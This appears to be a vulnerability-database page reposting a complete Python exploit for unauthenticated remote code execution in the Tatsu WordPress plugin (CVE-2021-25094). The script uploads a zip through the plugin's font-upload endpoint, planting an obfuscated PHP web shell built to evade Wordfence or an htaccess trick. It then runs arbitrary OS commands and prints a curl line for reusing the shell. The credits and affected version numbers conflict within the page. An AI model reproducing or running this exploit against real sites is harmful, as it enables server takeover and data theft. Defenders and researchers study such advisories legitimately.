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📄 Tatsu 3.3.11 Remote Code Execution

🗓️ 18 Apr 2025 00:00:00Reported by Milad KarimiType 
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Tatsu 3.3.11 pre-auth RCE exploit allows remote code execution via improperly handled inputs.

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#!/usr/bin/python3
    # coding: utf-8
    
    # Exploit Title:Tatsu <= 3.3.11 pre-auth RCE exploit
    # Date: 2025-04-16
    # Exploit Author: Milad Karimi (Ex3ptionaL)
    # Contact: [email protected]
    # Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
    # MiRROR-H: https://mirror-h.org/search/hacker/49626/
    # Product: Tatsu wordpress plugin <= 3.3.11
    # CVE: CVE-2021-25094
    # URL: https://tatsubuilder.com/
    
    
    import sys
    import requests
    import argparse
    import urllib3
    import threading
    import time
    import base64
    import queue
    import io
    import os
    import zipfile
    import string
    import random
    from datetime import datetime
    
    urllib3.disable_warnings()
    
    class HTTPCaller():
    
     def __init__(self, url, headers, proxies, cmd):
      self.url = url
      self.headers = headers
      self.proxies = proxies
      self.cmd = cmd
      self.encodedCmd = base64.b64encode(cmd.encode("utf8"))
      self.zipname = None
      self.shellFilename = None
    
      if self.url[-1] == '/':
       self.url = self.url[:-1]
    
      if proxies:
       self.proxies = {"http" : proxies, "https" : proxies}
      else:
       self.proxies = {}
    
     def generateZip(self, compressionLevel, technique, customShell, keep):
      buffer = io.BytesIO()
      with zipfile.ZipFile(buffer, "w", zipfile.ZIP_DEFLATED, False,
    compressionLevel) as zipFile:
    
       if technique == "custom" and customShell and os.path.isfile(customShell):
        with open(customShell) as f:
         shell = f.readlines()
        shell = "\n".join(shell)
        self.shellFilename = os.path.basename(customShell)
        if self.shellFilename[0] != ".":
         self.shellFilename = "." + self.shellFilename
    
        zipFile.writestr(self.shellFilename, shell)
    
       elif technique == "php":
        # a lazy obfuscated shell, basic bypass Wordfence
        # i would change base64 encoding for something better
        shell = "<?php "
        shell += "$f = \"lmeyst\";"
        shell += "@$a= $f[4].$f[3].$f[4].$f[5].$f[2].$f[1];"
        shell += "@$words = array(base64_decode($_POST['text']));"
        shell += "$j=\"array\".\"_\".\"filter\";"
        shell += "@$filtered_words = $j($words, $a);"
        if not keep:
         shell += "@unlink(__FILE__);"
        self.shellFilename = "." +
    (''.join(random.choice(string.ascii_lowercase) for i in range(5))) + ".php"
        zipFile.writestr(self.shellFilename, shell)
    
    
       elif technique.startswith("htaccess"):
    
        # requires AllowOverride All in the apache config file
        shell = "AddType application/x-httpd-php .png\n"
        zipFile.writestr(".htaccess", shell)
    
        shell = "<?php "
        shell += "$f = \"lmeyst\";"
        shell += "@$a= $f[4].$f[3].$f[4].$f[5].$f[2].$f[1];"
        shell += "@$words = array(base64_decode($_POST['text']));"
        shell += "$j=\"array\".\"_\".\"filter\";"
        shell += "@$filtered_words = $j($words, $a);"
        if not keep:
         shell += "@unlink('.'+'h'+'t'+'a'+'cc'+'e'+'ss');"
         shell += "@unlink(__FILE__);"
        self.shellFilename = "." +
    (''.join(random.choice(string.ascii_lowercase) for i in range(5))) + ".png"
        zipFile.writestr(self.shellFilename, shell)
    
       else:
        print("Error: unknow shell technique %s" % technique)
        sys.exit(1)
    
       self.zipname = ''.join(random.choice(string.ascii_lowercase) for i in
    range(3))
    
      self.zipFile = buffer
    
     def getShellUrl(self):
      return "%s/wp-content/uploads/typehub/custom/%s/%s" % (self.url,
    self.zipname, self.shellFilename)
    
     def executeCmd(self):
      return requests.post(url = self.getShellUrl(), data = {"text":
    self.encodedCmd}, headers = self.headers, proxies = self.proxies,
    verify=False)
    
     def upload(self):
      url = "%s/wp-admin/admin-ajax.php" % self.url
      files = {"file": ("%s.zip" % self.zipname, self.zipFile.getvalue())}
      return requests.post(url = url, data = {"action": "add_custom_font"},
    files = files, headers = self.headers, proxies = self.proxies, verify=False)
    
    def main():
     description = "|=== Tatsudo: pre-auth RCE exploit for Tatsu wordpress
    plugin <= 3.3.8\n"
     description += "|=== CVE-2021-25094 / Vincent MICHEL (@darkpills)"
    
     print(description)
     print("")
    
     parser = argparse.ArgumentParser()
     parser.add_argument("url", help="Wordpress vulnerable URL (example:
    https://mywordpress.com/)")
     parser.add_argument("cmd", help="OS command to execute")
     parser.add_argument('--technique', help="Shell technique: php | htaccess |
    custom", default="php")
     parser.add_argument('--customShell', help="Provide a custom PHP shell file
    that will take a base64 cmd as $_POST['text'] input")
     parser.add_argument('--keep', help="Do not auto-destruct the uploaded PHP
    shell", default=False, type=bool)
     parser.add_argument('--proxy', help="Specify and use an HTTP proxy
    (example: http://localhost:8080)")
     parser.add_argument('--compressionLevel', help="Compression level of the
    zip file (0 to 9, default 9)", default=9, type=int)
    
     args = parser.parse_args()
     # Use web browser-like header
     headers = {
      "X-Requested-With": "XMLHttpRequest",
      "Origin": args.url,
      "Referer": args.url,
      "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
    like Gecko) Chrome/90.0.4430.212 Safari/537.36",
      "Accept": "*/*",
      "Accept-Language": "en-US,en;q=0.9"
     }
    
     caller = HTTPCaller(args.url, headers, args.proxy, args.cmd)
     print("[+] Generating a zip with shell technique '%s'" % args.technique)
     caller.generateZip(args.compressionLevel, args.technique,
    args.customShell, args.keep)
    
     print("[+] Uploading zip archive to
    %s/wp-admin/admin-ajax.php?action=add_custom_font" % (args.url))
     r = caller.upload()
     if (r.status_code != 200 or not r.text.startswith('{"status":"success"')):
      print("[!] Got an unexpected HTTP response: %d with content:\n%s" %
    (r.status_code, r.text))
      print("[!] Exploit failed!")
      sys.exit(1)
    
     print("[+] Upload OK")
    
     print("[+] Trigger shell at %s" % caller.getShellUrl())
     r = caller.executeCmd()
     if (r.status_code != 200):
      print("[!] Got an unexpected HTTP response: %d with content:\n%s" %
    (r.status_code, r.text))
      print("[!] Exploit failed!")
      sys.exit(1)
     print("[+] Exploit success!")
     print(r.text)
    
     if args.keep:
      print("[+] Call it with:")
      print('curl -X POST -d"text=$(echo "{0}" | base64 -w0)"
    {1}'.format(args.cmd, caller.getShellUrl()))
     else:
      print("[+] Shell file has been auto-deleted but parent directory will
    remain on the webserver")
    
     print("[+] Job done")
    
    if __name__ == '__main__':
        main()

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18 Apr 2025 00:00Current
8High risk
Vulners AI Score8
CVSS 26.8
CVSS 3.18.1
EPSS0.83232
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